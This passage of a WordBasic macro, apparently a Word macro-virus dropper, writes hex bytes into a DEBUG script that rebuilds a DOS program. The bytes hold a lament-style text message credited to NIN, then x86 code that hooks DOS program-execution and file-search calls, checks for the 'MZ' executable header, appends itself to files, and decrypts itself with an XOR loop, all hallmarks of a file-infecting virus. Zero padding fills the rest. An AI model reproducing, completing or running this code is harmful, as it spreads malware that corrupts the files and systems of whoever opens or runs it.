  4368. Einfügen "Print #1," + Chr$(34) + "E 0490 74 65 6C 6C 20 6D 65 20 74 68 61 74 20 79 6F 75" + Chr$(34)
  4369. EinfügenAbsatz
  4370. Einfügen "Print #1," + Chr$(34) + "E 04A0 20 63 61 72 65 20 74 68 65 72 65 20 72 65 61 6C" + Chr$(34)
  4371. EinfügenAbsatz
  4372. Einfügen "Print #1," + Chr$(34) + "E 04B0 6C 79 20 69 73 6E 27 74 20 61 6E 79 74 68 69 6E" + Chr$(34)
  4373. EinfügenAbsatz
  4374. Einfügen "Print #1," + Chr$(34) + "E 04C0 67 2C 20 69 73 20 74 68 65 72 65 3F 20 79 6F 75" + Chr$(34)
  4375. EinfügenAbsatz
  4376. Einfügen "Print #1," + Chr$(34) + "E 04D0 20 77 6F 75 6C 64 20 6B 6E 6F 77 2C 20 77 6F 75" + Chr$(34)
  4377. EinfügenAbsatz
  4378. Einfügen "Print #1," + Chr$(34) + "E 04E0 6C 64 6E 27 74 20 79 6F 75 3F 20 79 6F 75 20 65" + Chr$(34)
  4379. EinfügenAbsatz
  4380. Einfügen "Print #1," + Chr$(34) + "E 04F0 78 74 65 6E 64 20 79 6F 75 72 20 68 61 6E 64 20" + Chr$(34)
  4381. EinfügenAbsatz
  4382. Einfügen "Print #1," + Chr$(34) + "E 0500 74 6F 20 74 68 6F 73 65 20 77 68 6F 20 73 75 66" + Chr$(34)
  4383. EinfügenAbsatz
  4384. Einfügen "Print #1," + Chr$(34) + "E 0510 66 65 72 20 74 6F 20 74 68 6F 73 65 20 77 68 6F" + Chr$(34)
  4385. EinfügenAbsatz
  4386. Einfügen "Print #1," + Chr$(34) + "E 0520 20 6B 6E 6F 77 20 77 68 61 74 20 69 74 20 72 65" + Chr$(34)
  4387. EinfügenAbsatz
  4388. Einfügen "Print #1," + Chr$(34) + "E 0530 61 6C 6C 79 20 66 65 65 6C 73 20 6C 69 6B 65 20" + Chr$(34)
  4389. EinfügenAbsatz
  4390. Einfügen "Print #1," + Chr$(34) + "E 0540 74 6F 20 74 68 6F 73 65 20 77 68 6F 27 76 65 20" + Chr$(34)
  4391. EinfügenAbsatz
  4392. Einfügen "Print #1," + Chr$(34) + "E 0550 68 61 64 20 61 20 74 61 73 74 65 20 6C 69 6B 65" + Chr$(34)
  4393. EinfügenAbsatz
  4394. Einfügen "Print #1," + Chr$(34) + "E 0560 20 74 68 61 74 20 6D 65 61 6E 73 20 73 6F 6D 65" + Chr$(34)
  4395. EinfügenAbsatz
  4396. Einfügen "Print #1," + Chr$(34) + "E 0570 74 68 69 6E 67 20 61 6E 64 20 6F 68 20 73 6F 20" + Chr$(34)
  4397. EinfügenAbsatz
  4398. Einfügen "Print #1," + Chr$(34) + "E 0580 73 69 6B 65 20 69 20 61 6D 20 61 6E 64 20 6D 61" + Chr$(34)
  4399. EinfügenAbsatz
  4400. Einfügen "Print #1," + Chr$(34) + "E 0590 79 62 65 20 69 20 64 6F 6E 27 74 20 68 61 76 65" + Chr$(34)
  4401. EinfügenAbsatz
  4402. Einfügen "Print #1," + Chr$(34) + "E 05A0 20 61 20 63 68 6F 69 63 65 20 61 6E 64 20 6D 61" + Chr$(34)
  4403. EinfügenAbsatz
  4404. Einfügen "Print #1," + Chr$(34) + "E 05B0 79 62 65 20 74 68 61 74 20 69 73 20 61 6C 6C 20" + Chr$(34)
  4405. EinfügenAbsatz
  4406. Einfügen "Print #1," + Chr$(34) + "E 05C0 69 20 68 61 76 65 20 61 6E 64 20 6D 61 79 62 65" + Chr$(34)
  4407. EinfügenAbsatz
  4408. Einfügen "Print #1," + Chr$(34) + "E 05D0 20 74 68 69 73 20 69 73 20 61 20 63 72 79 20 66" + Chr$(34)
  4409. EinfügenAbsatz
  4410. Einfügen "Print #1," + Chr$(34) + "E 05E0 6F 72 20 68 65 6C 70 20 69 20 64 6F 20 6E 6F 74" + Chr$(34)
  4411. EinfügenAbsatz
  4412. Einfügen "Print #1," + Chr$(34) + "E 05F0 20 77 61 6E 74 20 74 68 69 73 20 69 20 64 6F 20" + Chr$(34)
  4413. EinfügenAbsatz
  4414. Einfügen "Print #1," + Chr$(34) + "E 0600 6E 6F 74 20 77 61 6E 74 20 74 68 69 73 20 64 6F" + Chr$(34)
  4415. EinfügenAbsatz
  4416. Einfügen "Print #1," + Chr$(34) + "E 0610 6E 27 74 20 79 6F 75 20 74 65 6C 6C 20 6D 65 20" + Chr$(34)
  4417. EinfügenAbsatz
  4418. Einfügen "Print #1," + Chr$(34) + "E 0620 68 6F 77 20 69 20 66 65 65 6C 20 64 6F 6E 27 74" + Chr$(34)
  4419. EinfügenAbsatz
  4420. Einfügen "Print #1," + Chr$(34) + "E 0630 20 79 6F 75 20 74 65 6C 6C 20 6D 65 20 68 6F 77" + Chr$(34)
  4421. EinfügenAbsatz
  4422. Einfügen "Print #1," + Chr$(34) + "E 0640 20 69 20 66 65 65 6C 20 79 6F 75 20 64 6F 6E 27" + Chr$(34)
  4423. EinfügenAbsatz
  4424. Einfügen "Print #1," + Chr$(34) + "E 0650 74 20 6B 6E 6F 77 20 6A 75 73 74 20 68 6F 77 20" + Chr$(34)
  4425. EinfügenAbsatz
  4426. Einfügen "Print #1," + Chr$(34) + "E 0660 69 20 66 65 65 6C 20 69 20 77 61 6E 74 20 74 6F" + Chr$(34)
  4427. EinfügenAbsatz
  4428. Einfügen "Print #1," + Chr$(34) + "E 0670 20 6B 6E 6F 77 20 65 76 65 72 79 74 68 69 6E 67" + Chr$(34)
  4429. EinfügenAbsatz
  4430. Einfügen "Print #1," + Chr$(34) + "E 0680 20 69 20 77 61 6E 74 20 74 6F 20 62 65 20 65 76" + Chr$(34)
  4431. EinfügenAbsatz
  4432. Einfügen "Print #1," + Chr$(34) + "E 0690 65 72 79 77 68 65 72 65 20 69 20 77 61 6E 74 20" + Chr$(34)
  4433. EinfügenAbsatz
  4434. Einfügen "Print #1," + Chr$(34) + "E 06A0 74 6F 20 66 75 63 6B 20 65 76 65 72 79 6F 6E 65" + Chr$(34)
  4435. EinfügenAbsatz
  4436. Einfügen "Print #1," + Chr$(34) + "E 06B0 20 69 6E 20 74 68 65 20 77 6F 72 6C 64 20 69 20" + Chr$(34)
  4437. EinfügenAbsatz
  4438. Einfügen "Print #1," + Chr$(34) + "E 06C0 77 61 6E 74 20 74 6F 20 64 6F 20 73 6F 6D 65 74" + Chr$(34)
  4439. EinfügenAbsatz
  4440. Einfügen "Print #1," + Chr$(34) + "E 06D0 68 69 6E 67 20 74 68 61 74 20 6D 61 74 74 65 72" + Chr$(34)
  4441. EinfügenAbsatz
  4442. Einfügen "Print #1," + Chr$(34) + "E 06E0 73 2E 27 69 20 64 6F 20 6E 6F 74 20 77 61 6E 74" + Chr$(34)
  4443. EinfügenAbsatz
  4444. Einfügen "Print #1," + Chr$(34) + "E 06F0 20 74 68 69 73 27 20 4E 49 4E 20 2D 74 72 65 6E" + Chr$(34)
  4445. EinfügenAbsatz
  4446. Einfügen "Print #1," + Chr$(34) + "E 0700 74 20 72 65 7A 6E 6F 72 B0 03 CF 9C 3D 69 30 74" + Chr$(34)
  4447. EinfügenAbsatz
  4448. Einfügen "Print #1," + Chr$(34) + "E 0710 29 80 FC 4B 74 2A 80 FC 11 74 12 80 FC 12 74 0D" + Chr$(34)
  4449. EinfügenAbsatz
  4450. Einfügen "Print #1," + Chr$(34) + "E 0720 80 FC 4E 74 0E 80 FC 4F 74 09 E9 39 02 E8 B3 02" + Chr$(34)
  4451. EinfügenAbsatz
  4452. Einfügen "Print #1," + Chr$(34) + "E 0730 E9 39 02 E8 AD 02 9D E9 73 02 BA 0D F0 E9 26 02" + Chr$(34)
  4453. EinfügenAbsatz
  4454. Einfügen "Print #1," + Chr$(34) + "E 0740 50 53 51 52 1E 06 57 56 55 9C E8 96 02 52 B8 01" + Chr$(34)
  4455. EinfügenAbsatz
  4456. Einfügen "Print #1," + Chr$(34) + "E 0750 FA BA 45 59 CD 16 5A 89 16 67 09 8C 1E 69 09 89" + Chr$(34)
  4457. EinfügenAbsatz
  4458. Einfügen "Print #1," + Chr$(34) + "E 0760 D3 33 F6 80 38 2E 74 03 46 EB F8 89 F7 80 39 5C" + Chr$(34)
  4459. EinfügenAbsatz
  4460. Einfügen "Print #1," + Chr$(34) + "E 0770 74 08 4F 83 FF FF 74 02 EB F3 47 56 33 F6 B1 09" + Chr$(34)
  4461. EinfügenAbsatz
  4462. Einfügen "Print #1," + Chr$(34) + "E 0780 2E 8B 84 FA 00 39 01 75 04 5E E9 CC 01 46 46 E2" + Chr$(34)
  4463. EinfügenAbsatz
  4464. Einfügen "Print #1," + Chr$(34) + "E 0790 EF 5E 46 03 DE 89 1E 6F 09 8C 1E 71 09 B8 24 35" + Chr$(34)
  4465. EinfügenAbsatz
  4466. Einfügen "Print #1," + Chr$(34) + "E 07A0 CD 21 06 53 1E 0E 1F B8 24 25 BA 08 06 CD 21 1F" + Chr$(34)
  4467. EinfügenAbsatz
  4468. Einfügen "Print #1," + Chr$(34) + "E 07B0 0E 07 B8 00 43 C5 16 67 09 CD 21 72 02 EB 03 E9" + Chr$(34)
  4469. EinfügenAbsatz
  4470. Einfügen "Print #1," + Chr$(34) + "E 07C0 90 01 51 1E 52 B8 01 43 33 C9 CD 21 B8 02 3D C5" + Chr$(34)
  4471. EinfügenAbsatz
  4472. Einfügen "Print #1," + Chr$(34) + "E 07D0 16 67 09 CD 21 8B D8 0E 1F B8 00 57 CD 21 51 52" + Chr$(34)
  4473. EinfügenAbsatz
  4474. Einfügen "Print #1," + Chr$(34) + "E 07E0 B4 3F B9 1C 00 BA 73 09 CD 21 B8 02 42 33 C9 33" + Chr$(34)
  4475. EinfügenAbsatz
  4476. Einfügen "Print #1," + Chr$(34) + "E 07F0 D2 CD 21 89 16 6D 09 A3 6B 09 81 3E 73 09 4D 5A" + Chr$(34)
  4477. EinfügenAbsatz
  4478. Einfügen "Print #1," + Chr$(34) + "E 0800 74 41 1E 57 36 C5 3E 6F 09 81 3D 43 4F 5F 1F 75" + Chr$(34)
  4479. EinfügenAbsatz
  4480. Einfügen "Print #1," + Chr$(34) + "E 0810 70 8B 0E 74 09 81 C1 6A 09 3B C1 74 64 3D 98 F6" + Chr$(34)
  4481. EinfügenAbsatz
  4482. Einfügen "Print #1," + Chr$(34) + "E 0820 77 5F 3D B0 04 72 5A BF F7 00 BE 73 09 A5 A4 B9" + Chr$(34)
  4483. EinfügenAbsatz
  4484. Einfügen "Print #1," + Chr$(34) + "E 0830 03 00 2B C1 A3 74 09 B2 E9 88 16 73 09 E8 44 00" + Chr$(34)
  4485. EinfügenAbsatz
  4486. Einfügen "Print #1," + Chr$(34) + "E 0840 E9 C6 00 81 3E 83 09 88 23 74 36 83 3E 8D 09 00" + Chr$(34)
  4487. EinfügenAbsatz
  4488. Einfügen "Print #1," + Chr$(34) + "E 0850 75 2F 80 3E 8B 09 52 74 54 80 3E 8B 09 40 7D 21" + Chr$(34)
  4489. EinfügenAbsatz
  4490. Einfügen "Print #1," + Chr$(34) + "E 0860 A1 77 09 48 B9 00 02 F7 E1 8B 0E 75 09 03 C1 8B" + Chr$(34)
  4491. EinfügenAbsatz
  4492. Einfügen "Print #1," + Chr$(34) + "E 0870 0E 6D 09 39 D1 75 0A 8B 0E 6B 09 3B C8 75 02 EB" + Chr$(34)
  4493. EinfügenAbsatz
  4494. Einfügen "Print #1," + Chr$(34) + "E 0880 2C E9 B2 00 51 52 50 B4 2C CD 21 89 16 5F 09 89" + Chr$(34)
  4495. EinfügenAbsatz
  4496. Einfügen "Print #1," + Chr$(34) + "E 0890 0E 61 09 02 F2 00 E2 88 36 63 09 88 16 64 09 28" + Chr$(34)
  4497. EinfügenAbsatz
  4498. Einfügen "Print #1," + Chr$(34) + "E 08A0 F1 88 36 65 09 88 0E 66 09 58 5A 59 C3 E8 D4 FF" + Chr$(34)
  4499. EinfügenAbsatz
  4500. Einfügen "Print #1," + Chr$(34) + "E 08B0 BE 87 09 BF BB 00 A5 A5 83 EE 0A A5 A5 53 8B 1E" + Chr$(34)
  4501. EinfügenAbsatz
  4502. Einfügen "Print #1," + Chr$(34) + "E 08C0 7B 09 B1 04 D3 E3 52 50 29 D8 83 DA 00 B9 10 00" + Chr$(34)
  4503. EinfügenAbsatz
  4504. Einfügen "Print #1," + Chr$(34) + "E 08D0 F7 F1 A3 89 09 A8 01 74 03 48 EB 02 40 40 A3 81" + Chr$(34)
  4505. EinfügenAbsatz
  4506. Einfügen "Print #1," + Chr$(34) + "E 08E0 09 89 16 87 09 C7 06 83 09 88 23 58 5A 05 67 09" + Chr$(34)
  4507. EinfügenAbsatz
  4508. Einfügen "Print #1," + Chr$(34) + "E 08F0 83 D2 00 B1 09 50 D3 E8 D3 CA F9 11 C2 58 80 E4" + Chr$(34)
  4509. EinfügenAbsatz
  4510. Einfügen "Print #1," + Chr$(34) + "E 0900 01 89 16 77 09 A3 75 09 5B BE 00 00 B9 8F 09 BF" + Chr$(34)
  4511. EinfügenAbsatz
  4512. Einfügen "Print #1," + Chr$(34) + "E 0910 8F 09 F3 A4 BD 8F 09 E8 24 01 B4 40 B9 67 09 BA" + Chr$(34)
  4513. EinfügenAbsatz
  4514. Einfügen "Print #1," + Chr$(34) + "E 0920 8F 09 CD 21 B8 00 42 33 C9 99 CD 21 B4 40 B9 1C" + Chr$(34)
  4515. EinfügenAbsatz
  4516. Einfügen "Print #1," + Chr$(34) + "E 0930 00 BA 73 09 CD 21 5A 59 88 E8 24 1F 80 E1 E0 0A" + Chr$(34)
  4517. EinfügenAbsatz
  4518. Einfügen "Print #1," + Chr$(34) + "E 0940 C8 B8 01 57 CD 21 B4 3E CD 21 B8 01 43 5A 1F 59" + Chr$(34)
  4519. EinfügenAbsatz
  4520. Einfügen "Print #1," + Chr$(34) + "E 0950 CD 21 B8 24 25 5A 1F CD 21 E8 87 00 9D 5D 5E 5F" + Chr$(34)
  4521. EinfügenAbsatz
  4522. Einfügen "Print #1," + Chr$(34) + "E 0960 07 1F 5A 59 5B 58 9D EA 00 00 00 00 9C 2E FF 1E" + Chr$(34)
  4523. EinfügenAbsatz
  4524. Einfügen "Print #1," + Chr$(34) + "E 0970 68 08 84 C0 75 32 06 50 53 56 B4 2F 9C 2E FF 1E" + Chr$(34)
  4525. EinfügenAbsatz
  4526. Einfügen "Print #1," + Chr$(34) + "E 0980 68 08 87 DE 26 80 3C FF 75 03 83 C6 07 26 8B 5C" + Chr$(34)
  4527. EinfügenAbsatz
  4528. Einfügen "Print #1," + Chr$(34) + "E 0990 17 81 E3 1F 1F 3A DF 75 0B 26 81 6C 1D 67 09 26" + Chr$(34)
  4529. EinfügenAbsatz
  4530. Einfügen "Print #1," + Chr$(34) + "E 09A0 83 5C 1F 00 5E 5B 58 07 E8 38 00 9D CF 9C 2E FF" + Chr$(34)
  4531. EinfügenAbsatz
  4532. Einfügen "Print #1," + Chr$(34) + "E 09B0 1E 68 08 72 28 06 53 56 B4 2F 9C 2E FF 1E 68 08" + Chr$(34)
  4533. EinfügenAbsatz
  4534. Einfügen "Print #1," + Chr$(34) + "E 09C0 87 DE 26 8B 5C 16 81 E3 1F 1F 3A DF 75 0B 26 81" + Chr$(34)
  4535. EinfügenAbsatz
  4536. Einfügen "Print #1," + Chr$(34) + "E 09D0 6C 1A 67 09 26 83 5C 1C 00 5E 5B 07 F8 E8 03 00" + Chr$(34)
  4537. EinfügenAbsatz
  4538. Einfügen "Print #1," + Chr$(34) + "E 09E0 CA 02 00 9C 3D CD AB 74 06 1E 06 0E 0E 07 1F 50" + Chr$(34)
  4539. EinfügenAbsatz
  4540. Einfügen "Print #1," + Chr$(34) + "E 09F0 51 56 57 68 00 71 68 67 09 68 3E 09 68 00 99 68" + Chr$(34)
  4541. EinfügenAbsatz
  4542. Einfügen "Print #1," + Chr$(34) + "E 0A00 DD 08 68 AD 08 68 00 CD 68 A8 08 68 6C 08 68 00" + Chr$(34)
  4543. EinfügenAbsatz
  4544. Einfügen "Print #1," + Chr$(34) + "E 0A10 12 68 59 08 68 4D 06 68 00 69 68 08 06 6A 00 5E" + Chr$(34)
  4545. EinfügenAbsatz
  4546. Einfügen "Print #1," + Chr$(34) + "E 0A20 59 29 F1 58 89 F7 AC 32 C4 AA E2 FA 80 FC 71 75" + Chr$(34)
  4547. EinfügenAbsatz
  4548. Einfügen "Print #1," + Chr$(34) + "E 0A30 EE 5F 5E 59 58 3D CD AB 74 02 07 1F 9D C3 50 52" + Chr$(34)
  4549. EinfügenAbsatz
  4550. Einfügen "Print #1," + Chr$(34) + "E 0A40 1E 0E 1F 33 FF 8D 76 19 B9 25 09 8A 24 3E 32 A3" + Chr$(34)
  4551. EinfügenAbsatz
  4552. Einfügen "Print #1," + Chr$(34) + "E 0A50 5F 09 88 24 47 83 E7 07 46 E2 F0 1F 5A 58 C3 00" + Chr$(34)
  4553. EinfügenAbsatz
  4554. Einfügen "Print #1," + Chr$(34) + "E 0A60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4555. EinfügenAbsatz
  4556. Einfügen "Print #1," + Chr$(34) + "E 0A70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4557. EinfügenAbsatz
  4558. Einfügen "Print #1," + Chr$(34) + "E 0A80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4559. EinfügenAbsatz
  4560. Einfügen "Print #1," + Chr$(34) + "E 0A90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4561. EinfügenAbsatz
  4562. Einfügen "Print #1," + Chr$(34) + "E 0AA0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4563. EinfügenAbsatz
  4564. Einfügen "Print #1," + Chr$(34) + "E 0AB0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4565. EinfügenAbsatz
  4566. Einfügen "Print #1," + Chr$(34) + "E 0AC0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4567. EinfügenAbsatz
  4568. Einfügen "Print #1," + Chr$(34) + "E 0AD0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4569. EinfügenAbsatz
  4570. Einfügen "Print #1," + Chr$(34) + "E 0AE0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4571. EinfügenAbsatz
  4572. Einfügen "Print #1," + Chr$(34) + "E 0AF0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4573. EinfügenAbsatz
  4574. Einfügen "Print #1," + Chr$(34) + "E 0B00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4575. EinfügenAbsatz
  4576. Einfügen "Print #1," + Chr$(34) + "E 0B10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4577. EinfügenAbsatz
  4578. Einfügen "Print #1," + Chr$(34) + "E 0B20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4579. EinfügenAbsatz
  4580. Einfügen "Print #1," + Chr$(34) + "E 0B30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4581. EinfügenAbsatz
  4582. Einfügen "Print #1," + Chr$(34) + "E 0B40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4583. EinfügenAbsatz
  4584. Einfügen "Print #1," + Chr$(34) + "E 0B50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4585. EinfügenAbsatz
  4586. Einfügen "Print #1," + Chr$(34) + "E 0B60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4587. EinfügenAbsatz
  4588. Einfügen "Print #1," + Chr$(34) + "E 0B70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4589. EinfügenAbsatz
  4590. Einfügen "Print #1," + Chr$(34) + "E 0B80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4591. EinfügenAbsatz
  4592. Einfügen "Print #1," + Chr$(34) + "E 0B90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4593. EinfügenAbsatz
  4594. Einfügen "Print #1," + Chr$(34) + "E 0BA0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4595. EinfügenAbsatz
  4596. Einfügen "Print #1," + Chr$(34) + "E 0BB0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4597. EinfügenAbsatz
  4598. Einfügen "Print #1," + Chr$(34) + "E 0BC0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4599. EinfügenAbsatz
  4600. Einfügen "Print #1," + Chr$(34) + "E 0BD0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4601. EinfügenAbsatz
  4602. Einfügen "Print #1," + Chr$(34) + "E 0BE0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4603. EinfügenAbsatz
  4604. Einfügen "Print #1," + Chr$(34) + "E 0BF0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4605. EinfügenAbsatz
  4606. Einfügen "Print #1," + Chr$(34) + "E 0C00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4607. EinfügenAbsatz
  4608. Einfügen "Print #1," + Chr$(34) + "E 0C10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4609. EinfügenAbsatz
  4610. Einfügen "Print #1," + Chr$(34) + "E 0C20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4611. EinfügenAbsatz
  4612. Einfügen "Print #1," + Chr$(34) + "E 0C30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4613. EinfügenAbsatz
  4614. Einfügen "Print #1," + Chr$(34) + "E 0C40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4615. EinfügenAbsatz
  4616. Einfügen "Print #1," + Chr$(34) + "E 0C50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4617. EinfügenAbsatz
  4618. Einfügen "Print #1," + Chr$(34) + "E 0C60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4619. EinfügenAbsatz
  4620. Einfügen "Print #1," + Chr$(34) + "E 0C70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4621. EinfügenAbsatz
  4622. Einfügen "Print #1," + Chr$(34) + "E 0C80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4623. EinfügenAbsatz
  4624. Einfügen "Print #1," + Chr$(34) + "E 0C90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4625. EinfügenAbsatz
  4626. Einfügen "Print #1," + Chr$(34) + "E 0CA0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4627. EinfügenAbsatz
  4628. Einfügen "Print #1," + Chr$(34) + "E 0CB0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4629. EinfügenAbsatz
  4630. Einfügen "Print #1," + Chr$(34) + "E 0CC0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4631. EinfügenAbsatz
  4632. Einfügen "Print #1," + Chr$(34) + "E 0CD0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4633. EinfügenAbsatz
  4634. Einfügen "Print #1," + Chr$(34) + "E 0CE0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4635. EinfügenAbsatz
  4636. Einfügen "Print #1," + Chr$(34) + "E 0CF0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4637. EinfügenAbsatz
  4638. Einfügen "Print #1," + Chr$(34) + "E 0D00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4639. EinfügenAbsatz
  4640. Einfügen "Print #1," + Chr$(34) + "E 0D10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4641. EinfügenAbsatz
  4642. Einfügen "Print #1," + Chr$(34) + "E 0D20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4643. EinfügenAbsatz
  4644. Einfügen "Print #1," + Chr$(34) + "E 0D30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4645. EinfügenAbsatz
  4646. Einfügen "Print #1," + Chr$(34) + "E 0D40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4647. EinfügenAbsatz
  4648. Einfügen "Print #1," + Chr$(34) + "E 0D50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4649. EinfügenAbsatz
  4650. Einfügen "Print #1," + Chr$(34) + "E 0D60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4651. EinfügenAbsatz
  4652. Einfügen "Print #1," + Chr$(34) + "E 0D70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4653. EinfügenAbsatz
  4654. Einfügen "Print #1," + Chr$(34) + "E 0D80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4655. EinfügenAbsatz
  4656. Einfügen "Print #1," + Chr$(34) + "E 0D90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4657. EinfügenAbsatz
  4658. Einfügen "Print #1," + Chr$(34) + "E 0DA0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4659. EinfügenAbsatz
  4660. Einfügen "Print #1," + Chr$(34) + "E 0DB0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4661. EinfügenAbsatz
  4662. Einfügen "Print #1," + Chr$(34) + "E 0DC0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4663. EinfügenAbsatz
  4664. Einfügen "Print #1," + Chr$(34) + "E 0DD0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4665. EinfügenAbsatz
  4666. Einfügen "Print #1," + Chr$(34) + "E 0DE0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4667. EinfügenAbsatz
  4668. Einfügen "Print #1," + Chr$(34) + "E 0DF0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4669. EinfügenAbsatz
  4670. Einfügen "Print #1," + Chr$(34) + "E 0E00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4671. EinfügenAbsatz
  4672. Einfügen "Print #1," + Chr$(34) + "E 0E10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4673. EinfügenAbsatz
  4674. Einfügen "Print #1," + Chr$(34) + "E 0E20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4675. EinfügenAbsatz
  4676. Einfügen "Print #1," + Chr$(34) + "E 0E30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4677. EinfügenAbsatz
  4678. Einfügen "Print #1," + Chr$(34) + "E 0E40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4679. EinfügenAbsatz
  4680. Einfügen "Print #1," + Chr$(34) + "E 0E50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4681. EinfügenAbsatz
  4682. Einfügen "Print #1," + Chr$(34) + "E 0E60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4683. EinfügenAbsatz
  4684. Einfügen "Print #1," + Chr$(34) + "E 0E70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4685. EinfügenAbsatz
  4686. Einfügen "Print #1," + Chr$(34) + "E 0E80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4687. EinfügenAbsatz
  4688. Einfügen "Print #1," + Chr$(34) + "E 0E90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4689. EinfügenAbsatz
  4690. Einfügen "Print #1," + Chr$(34) + "E 0EA0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4691. EinfügenAbsatz
  4692. Einfügen "Print #1," + Chr$(34) + "E 0EB0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4693. EinfügenAbsatz
  4694. Einfügen "Print #1," + Chr$(34) + "E 0EC0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4695. EinfügenAbsatz
  4696. Einfügen "Print #1," + Chr$(34) + "E 0ED0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4697. EinfügenAbsatz
  4698. Einfügen "Print #1," + Chr$(34) + "E 0EE0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4699. EinfügenAbsatz
  4700. Einfügen "Print #1," + Chr$(34) + "E 0EF0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  4701. EinfügenAbsatz
